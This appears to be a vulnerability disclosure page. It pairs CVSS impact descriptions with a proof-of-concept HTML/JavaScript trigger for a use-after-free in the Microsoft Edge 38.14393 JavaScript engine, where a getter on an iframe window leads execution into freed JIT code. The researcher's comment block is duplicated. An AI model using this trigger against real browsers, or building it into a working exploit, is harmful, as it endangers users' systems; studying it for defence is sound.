The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Microsoft Edge 38.14393.0.0 JavaScript Engine Use-After-Free<!--
I noticed that some javascript getters behave strangely.
My test code:
var whitelist = ["closed", "document", "frames", "length", "location", "opener", "parent", "self", "top", "window"];
var f = document.createElement("iframe");
f.onload = () => {
f.onload = null;
for (var x in window) {
if (whitelist.indexOf(x) != -1)
continue;
try {
window.__lookupGetter__(x).call(f.contentWindow);
log(x);
} catch (e) {
}
}
};
f.src = "https://abc.xyz/";
document.body.appendChild(f);
And after some plays, finally reached an UAF condition. PoC is attached. RIP will jump into the freed JIT code.
Tested on Microsoft Edge 38.14393.0.0.
-->
<!--
Microsoft Edge: Undefined behavior on some getters
I noticed that some javascript getters behave strangely.
My test code:
var whitelist = ["closed", "document", "frames", "length", "location", "opener", "parent", "self", "top", "window"];
var f = document.createElement("iframe");
f.onload = () => {
f.onload = null;
for (var x in window) {
if (whitelist.indexOf(x) != -1)
continue;
try {
window.__lookupGetter__(x).call(f.contentWindow);
log(x);
} catch (e) {
}
}
};
f.src = "https://abc.xyz/";
document.body.appendChild(f);
And after some plays, finally reached an UAF condition. PoC is attached. RIP will jump into the freed JIT code.
Tested on Microsoft Edge 38.14393.0.0.
-->
<pre id="d">
</pre>
<body></body>
<script>
function log(txt) {
var c = document.createElement("div");
c.innerText = "log: " + txt;
d.appendChild(c);
}
function main() {
var f = document.createElement("iframe");
f.onload = () => {
f.onload = () => {
var status = window.__lookupGetter__("defaultStatus").call(f.contentWindow);
var func_cons = status.constructor.constructor;
var ff = func_cons("return 0x12345;");
for (var i = 0; i < 0x100000; i++)
ff();
f.onload = () => {
alert("get ready");
ff();
};
f.src = "about:blank";
};
//a = f.contentWindow;
f.src = "about:blank";
};
document.body.appendChild(f);
}
main();
</script>
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